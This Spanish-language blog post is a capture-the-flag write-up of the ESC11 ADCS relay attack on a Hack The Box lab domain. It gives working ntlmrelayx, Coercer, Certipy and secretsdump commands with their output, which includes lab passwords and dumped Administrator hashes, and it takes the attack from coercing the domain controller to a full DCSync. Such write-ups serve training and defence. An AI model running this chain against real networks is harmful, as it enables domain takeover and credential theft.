Post

Active Directory Certificate Services: Abusando de ADCS ESC11 (Relay)

Active Directory Certificate Services: Abusando de ADCS ESC11 (Relay)

Introducción

ESC11 es una vulnerabilidad en Active Directory Certificate Services (ADCS) que ocurre cuando la interfaz RPC de la Autoridad de Certificación (CA), específicamente la interfaz ICertPassage (MS-ICPR), no exige firma ni cifrado para las peticiones de inscripción de certificados. Esto se debe a que la configuración IF_ENFORCEENCRYPTICERTREQUEST se encuentra desactivada en la CA.

Al no requerirse firmas de paquetes ni cifrado en esta interfaz RPC, es vulnerable a ataques de NTLM Relay. Si un atacante logra coercionar la autenticación NTLM de una cuenta privilegiada (como la cuenta de máquina de un Domain Controller o un Domain Admin), puede retransmitir esa autenticación al puerto RPC de la CA y solicitar un certificado válido en nombre de la víctima.

¿Por qué es crítico?

¿Por qué coercionamos al DC y no a otra máquina?

Necesitamos un certificado usando la plantilla DomainController. Esta plantilla permite la delegación no restringida y nos proporciona un certificado con el que podemos autenticarnos como el propio Domain Controller (DC01$).

La cuenta DC01$ tiene permisos de Enroll en la CA (como cualquier Authenticated User) y el template DomainController está disponible en el entorno.

Si obtenemos un certificado para DC01$, podemos realizar la siguiente cadena de ataque:

Certificado DC01$ ──> PKINIT (Pedir TGT) ──> Extraer Hash NT ──> DCSync (NTDS.dit) ──> Admin Hash

  1. Pedir un TGT: Obtenemos el ticket para DC01$ utilizando el certificado recién emitido.
  2. Extraer el hash NT: Obtenemos el hash de la cuenta de máquina durante la solicitud del TGT mediante PKINIT.
  3. Ejecutar DCSync: Utilizamos el hash del DC contra el NTDS.dit para volcar los secretos de todo el dominio.
  4. Compromiso total: Robamos el hash del usuario Administrator para tomar el control total del entorno.

Escenario

El escenario en el cual trabajé esta vulnerabilidad fue en la máquina Ghostlink de Hack The Box, la cual presenta una infraestructura que no puede ser exacta, pero creo que lo que lo hice lo representa muy bien:

Imagen 1

Para detallar un poco más:

1
2
3
4
10.10.15.174   Kali-Linux             → Máquina atacante
172.16.20.20   gpz-op26-toolkits      → Máquina comprometida que se usa como puente para llegar a la CA
172.16.20.10   gpz-op26-secure        → CA (Certificate Authority) ghostlink-GPZ-OP26-SECURE-CA
10.129.41.180  DC01.ghostlink.local   → Domain Controller 

Fase 1: Enumeración de ADCS

Primero, necesitamos confirmar si en el dominio existe ADCS y si alguna CA tiene la vulnerabilidad ESC11.

Con Netexec identificamos que existe una CA en el dominio: v

1
2
3
4
5
6
7
➜  Ghostlink nxc ldap dc01.ghostlink.htb -u 'nvirelli' -p u47YUclrDiwWxBheaSzI -M adcs

LDAP   10.129.42.12    389   DC01        [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:ghostlink.htb) (signing:Enforced) (channel binding:When Supported)
LDAP    10.129.42.12   389   DC01        [+] ghostlink.htb\nvirelli:u47YUclrDiwWxBheaSzI
ADCS    10.129.42.12   389   DC01        [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS    10.129.42.12   389   DC01        Found PKI Enrollment Server: gpz-op26-secure.ghostlink.htb
ADCS    10.129.42.12   389   DC01        Found CN: ghostlink-GPZ-OP26-SECURE-CA

Se confirma la CA y se encuentra en la máquina gpz-op26-secure.

Ahora verificamos las vulnerabilidades de las CAs con Certipy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
➜  Ghostlink certipy find -u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' -dc-host dc01.ghostlink.htb -ns 10.129.41.180 -dns-tcp -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'ghostlink-GPZ-OP26-SECURE-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ghostlink-GPZ-OP26-SECURE-CA'
[*] Checking web enrollment for CA 'ghostlink-GPZ-OP26-SECURE-CA' @ 'gpz-op26-secure.ghostlink.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : ghostlink-GPZ-OP26-SECURE-CA
    DNS Name                            : gpz-op26-secure.ghostlink.htb
    Certificate Subject                 : CN=ghostlink-GPZ-OP26-SECURE-CA, DC=ghostlink, DC=htb
    Certificate Serial Number           : 3F4302F3D68A6AAE4B792DB93F31CCE5
    Certificate Validity Start          : 2026-03-03 16:52:14+00:00
    Certificate Validity End            : 2126-03-03 17:02:12+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Disabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : GHOSTLINK.HTB\Administrators
      Access Rights
        ManageCa                        : GHOSTLINK.HTB\Administrators
                                          GHOSTLINK.HTB\Domain Admins
                                          GHOSTLINK.HTB\Enterprise Admins
        ManageCertificates              : GHOSTLINK.HTB\Administrators
                                          GHOSTLINK.HTB\Domain Admins
                                          GHOSTLINK.HTB\Enterprise Admins
        Enroll                          : GHOSTLINK.HTB\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
      ESC11                             : Encryption is not enforced for ICPR (RPC) requests.
Certificate Templates                   : [!] Could not find any certificate templates

Enforce Encryption for Requests : Disabled

Esto significa que podemos interceptar la autenticación NTLM de cualquier máquina privilegiada y retransmitirla tal cual a la CA para obtener un certificado.

Imagen 2

Fase 2: Preparación del Entorno

Para entender mejor el flujo del ataque, es necesario detallar la estructura del entorno. Como mencionamos anteriormente, la CA (gpz-op26-secure.ghostlink.htb) se encuentra en otro segmento de red (172.16.20.0/24) y nuestra máquina atacante Kali Linux está en la red 10.10.15.0/24. Para resolver esta falta de conectividad directa, utilizamos Ligolo-ng para establecer un túnel y pivotar a través de la máquina gpz-op26-toolkits (172.16.20.20), la cual tiene visibilidad hacia ambas redes.

Imagen 3

Con esta configuración lista, ya contamos con direccionamiento y acceso directo hacia la CA.

Fase 3: Ejecución del Ataque

Aquí es donde viene lo interesante, el ataque.

Paso 1: Preparar el Relay

Ntlmrelayx se pondrá en escucha para interceptar la autenticación del DC y retransmitirla a la CA. Abrimos una terminal y ejecutamos:

1
➜  Ghostlink sudo ~/venv/esc11/bin/ntlmrelayx.py -t rpc://172.16.20.10 -rpc-mode ICPR -icpr-ca-name 'ghostlink-GPZ-OP26-SECURE-CA' -smb2support --template DomainController
Parámetro¿Qué hace?
-t rpc://172.16.20.10Target del relay: la CA por protocolo RPC
-rpc-mode ICPRUsa la interfaz ICertPassage (la que procesa certificados)
-icpr-ca-name '...'Nombre de la CA a la que solicitar el certificado
--template DomainControllerTemplate de certificado que vamos a solicitar

En este punto, el relay está esperando conexiones.

Paso 2: Coerción del DC con Coercer

Para forzar la autenticación del Domain Controller hacia nuestra máquina Kali (donde el relay está esperando la conexión), ejecutamos Coercer:

1
2
3
4
5
6
7
coercer coerce \
  -l 10.10.15.174 \
  -t dc01.ghostlink.htb \
  -d ghostlink.htb \
  -u nvirelli \
  -p 'u47YUclrDiwWxBheaSzI' \
  --dc-ip 10.129.41.180
Parámetro¿Qué hace?
coerceModo de ataque: fuerza al target a autenticarse contra nosotros
-l 10.10.15.174Listener IP (nuestra Kali). El DC se conectará a esta IP
-t dc01.ghostlink.htbTarget (el que vamos a coercionar). Puede ser IP o hostname
-d ghostlink.htbDominio al que pertenece el usuario
-u nvirelliUsuario con el que nos autenticamos al DC para enviar las llamadas RPC
-p 'u47YUclrDiwWxBheaSzI'Contraseña del usuario
--dc-ip 10.129.41.180IP del DC (necesaria porque el hostname resuelve a la misma IP y coercer necesita saber dónde está el DC)

¿Qué significa esto?
Usamos las credenciales de nvirelli para invocar métodos RPC en el DC y obligarlo a iniciar una conexión saliente hacia nuestra IP (10.10.15.174).

Cuando Coercer pregunte para continuar por los distintos métodos y protocolos, ingresamos C (Continue):

1
Continue (C) | Skip this function (S) | Stop exploitation (X) ?

Presionamos C para continuar (Coercer intentará varios métodos/protocolos hasta forzar la conexión hacia nuestra IP de escucha).

imagen4

Flujo del Relay

Cuando ejecutamos ambos comandos en paralelo, el flujo del ataque a nivel de red sigue el siguiente orden:

imagen5

Fase 4: Obtención del certificado

Como se pudo observar en la salida de NTLM Relay, se obtuvo el certificado solicitado con la plantilla DomainController:

1
2
3
4
5
6
7
8
9
[*] (RPC): Received connection from 10.129.41.180, attacking target rpc://172.16.20.10
[*] (RPC): Authenticating connection from GHOSTLINK/DC01$@10.129.41.180 against rpc://172.16.20.10 SUCCEED
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Generating CSR...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> CSR generated!
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Getting certificate...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Successfully requested certificate
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Request ID is 5
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Writing PKCS#12 certificate to ./DC01.pfx
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Certificate successfully written to file

Tenemos DC01.pfx en nuestro disco.

Fase 5: Del certificado a Domain Admin

Con el certificado (DC01.pfx) en nuestro poder, el siguiente paso es obtener el TGT de la cuenta de máquina para posteriormente realizar un DCSync. Sin embargo, al intentar autenticarnos es común toparnos con el siguiente error:

El error KRB_AP_ERR_SKEW (clock skew too great) (código 0x1e) indica que la diferencia horaria entre nuestra máquina atacante y el KDC (Domain Controller) supera el límite permitido (5 minutos por defecto).

Para solucionarlo, sincronizamos el reloj de nuestra máquina de ataque usando ntpdate:

1
sudo ntpdate 10.129.41.180

Existen varias formas de solucionar este error de sincronización de tiempo. Si deseas conocer más alternativas, te recomiendo revisar este artículo:

Con el reloj sincronizado, ejecutamos Certipy utilizando el certificado obtenido para solicitar un TGT y recuperar el hash NT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  Ghostlink certipy auth -pfx DC01.pfx -dc-ip 10.129.41.180 -dns-tcp -ns 10.129.41.180 -domain ghostlink.htb

Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'dc01.ghostlink.htb'
[*]     Security Extension SID: 'S-1-5-21-3426459382-1936297842-2312468024-1000'
[*] Using principal: 'dc01$@ghostlink.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash: aad3b435b51404eeaad3b435b51404ee:7c02b790a7a6756...

¿Qué ocurrió por detrás?

Al presentar el certificado al KDC (Key Distribution Center) mediante PKINIT (la extensión de Kerberos que permite autenticación basada en certificados):

  1. Validación de Identidad: El KDC lee el campo SAN (Subject Alternative Name) del certificado, el cual apunta a dc01.ghostlink.htb.
  2. Emisión del TGT: Al comprobar que el certificado es legítimo y confiable, el KDC genera y nos entrega un TGT (Ticket Granting Ticket) para la cuenta de máquina DC01$.
  3. Recuperación del Hash NT: Durante este intercambio PKINIT (específicamente en la respuesta AS-REP), Certipy descifra la estructura de datos y extrae el hash NT de la cuenta del controlador de dominio.

Con el hash del DC, podemos ejecutar DCSync. La cuenta DC01$ tiene permisos de replicación de directorio (GetChanges, GetChangesAll), así que puede solicitar una copia del NTDS.dit:

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  Ghostlink secretsdump.py ghostlink.htb/dc01\$@dc01.ghostlink.htb -dc-ip 10.129.41.180 -hashes :82c9731fecb932a3f457f81768641f68 -just-dc-user administrator
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::
[*] Kerberos keys grabbed
Administrator:0x14:3291eeea0dfc6d311e1fc6f5ea0920b0cfee75d818a96b1fd5a70b3b6f28706d
Administrator:0x13:b82fd32fef344067a56681879e2d937e
Administrator:aes256-cts-hmac-sha1-96:b2e73d40a99d49f55a44a05a02fa898119d6f4de72c1eceb5d484c0679d92fd8
Administrator:aes128-cts-hmac-sha1-96:c3607a0efea3207eb5b1df36eb2dd256
Administrator:0x17:8190e067f478002ddd63eb209b016696
[*] Cleaning up...

imagen6


Gracias por leer, espero que te sirva. Si tienes alguna duda, sugerencia, corrección o simplemente quieres compartir algo al respecto, tienes mis redes para contactarme.

Frase para finalizar:

“No tengo talentos especiales, pero sí soy apasionadamente curioso.”

— Albert Einstein

This post is licensed under CC BY 4.0 by the author.